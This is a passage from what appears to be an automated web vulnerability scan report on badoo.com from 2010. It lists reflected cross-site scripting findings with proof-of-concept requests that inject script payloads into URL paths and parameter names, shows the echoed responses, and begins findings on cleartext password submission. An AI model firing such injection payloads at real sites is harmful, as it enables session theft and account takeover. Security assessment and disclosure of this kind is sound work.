The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 76d19"><script>alert(1)</script>0ba30c95040 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nelsua76d19"><script>alert(1)</script>0ba30c95040/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:55:11 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:10 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5677

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/nelsua76d19"><script>alert(1)</script>0ba30c95040/?lang_id=5">
...[SNIP]...

3.38. http://badoo.com/privacy/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/privacy/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1423f"><script>alert(1)</script>cf2c6f2baa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /privacy1423f"><script>alert(1)</script>cf2c6f2baa/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:55:59 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:58 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5677

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/privacy1423f"><script>alert(1)</script>cf2c6f2baa/?lang_id=5">
...[SNIP]...

3.39. http://badoo.com/privacy/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/privacy/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e2b8"><script>alert(1)</script>42a47261f69 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /privacy/?8e2b8"><script>alert(1)</script>42a47261f69=1 HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

3.40. http://badoo.com/pronico/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/pronico/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d5e4"><script>alert(1)</script>592a923bd9f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pronico1d5e4"><script>alert(1)</script>592a923bd9f/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:54:51 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:54:50 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5693

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/pronico1d5e4"><script>alert(1)</script>592a923bd9f/?lang_id=5">
...[SNIP]...

3.41. http://badoo.com/signin/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/signin/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83ed8"><script>alert(1)</script>8c791cea6b8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /signin83ed8"><script>alert(1)</script>8c791cea6b8/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:51:26 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:51:25 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5677

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/signin83ed8"><script>alert(1)</script>8c791cea6b8/?lang_id=5">
...[SNIP]...

3.42. http://badoo.com/signin/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/signin/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 28ce4"><script>alert(1)</script>707d970f30c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /signin/?28ce4"><script>alert(1)</script>707d970f30c=1 HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:51:10 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:51:09 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 9344

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <script>_id=1
...[SNIP]...
<a href="http://badoo.com/signin/?lang_id=5&28ce4"><script>alert(1)</script>707d970f30c=1">
...[SNIP]...

3.43. http://badoo.com/signup/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/signup/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6fb64"><script>alert(1)</script>f79b691ac3c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /signup6fb64"><script>alert(1)</script>f79b691ac3c/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:58:05 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:58:04 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5677

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/signup6fb64"><script>alert(1)</script>f79b691ac3c/?lang_id=5">
...[SNIP]...

3.44. http://badoo.com/signup/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/signup/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d5a7"><script>alert(1)</script>ee97d12b54b60889f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /signup5d5a7"><script>alert(1)</script>ee97d12b54b60889f/?sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4&sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4&post=1&sec_id=&email=&password=&year=0&month=0&day=0&create_profile= HTTP/1.1
Host: badoo.com
Proxy-Connection: keep-alive
Referer: http://badoo.com/
Cache-Control: max-age=0
Origin: http://badoo.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.4.10.1289338958

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 16:27:35 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 7517

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/signup5d5a7"><script>alert(1)</script>ee97d12b54b60889f/?lang_id=5&sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4&post=1&sec_id=&email=&password=&year=0&month=0&day=0&create_profile=">
...[SNIP]...

3.45. http://badoo.com/signup/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/signup/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7a1f"><script>alert(1)</script>c003ff4f43c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /signup/?e7a1f"><script>alert(1)</script>c003ff4f43c=1 HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

3.46. http://badoo.com/tarabell/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/tarabell/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload db9ac"><script>alert(1)</script>b1f0e790fb3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /tarabelldb9ac"><script>alert(1)</script>b1f0e790fb3/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:53:51 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:50 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5709

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/tarabelldb9ac"><script>alert(1)</script>b1f0e790fb3/?lang_id=5">
...[SNIP]...

3.47. http://badoo.com/terms/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/terms/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d658c"><script>alert(1)</script>45b48e569e9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /termsd658c"><script>alert(1)</script>45b48e569e9/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:55:46 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:45 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5661

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/termsd658c"><script>alert(1)</script>45b48e569e9/?lang_id=5">
...[SNIP]...

3.48. http://badoo.com/terms/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/terms/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa20a"><script>alert(1)</script>d825bde639a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /terms/?fa20a"><script>alert(1)</script>d825bde639a=1 HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

3.49. http://badoo.com/veletanga77/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/veletanga77/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload abf92"><script>alert(1)</script>82e2510a1b9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /veletanga77abf92"><script>alert(1)</script>82e2510a1b9/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:55:19 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:18 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5757

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/veletanga77abf92"><script>alert(1)</script>82e2510a1b9/?lang_id=5">
...[SNIP]...

3.50. http://badoo.com/vianey06/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/vianey06/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b8e77"><script>alert(1)</script>ed62482fd6c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /vianey06b8e77"><script>alert(1)</script>ed62482fd6c/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:53:32 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:31 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5709

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/vianey06b8e77"><script>alert(1)</script>ed62482fd6c/?lang_id=5">
...[SNIP]...

3.51. http://badoo.com/webone/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/webone/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 34cb6"><script>alert(1)</script>a1b216c660a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /webone34cb6"><script>alert(1)</script>a1b216c660a/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:53:23 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:22 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5677

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/webone34cb6"><script>alert(1)</script>a1b216c660a/?lang_id=5">
...[SNIP]...

4. Cleartext submission of password previous next
There are 5 instances of this issue:

/
/import/
/import/
/signin/
/signup/

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

4.1. http://badoo.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://badoo.com/signup/?sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: badoo.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

4.2. http://badoo.com/import/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/import/

Issue detail

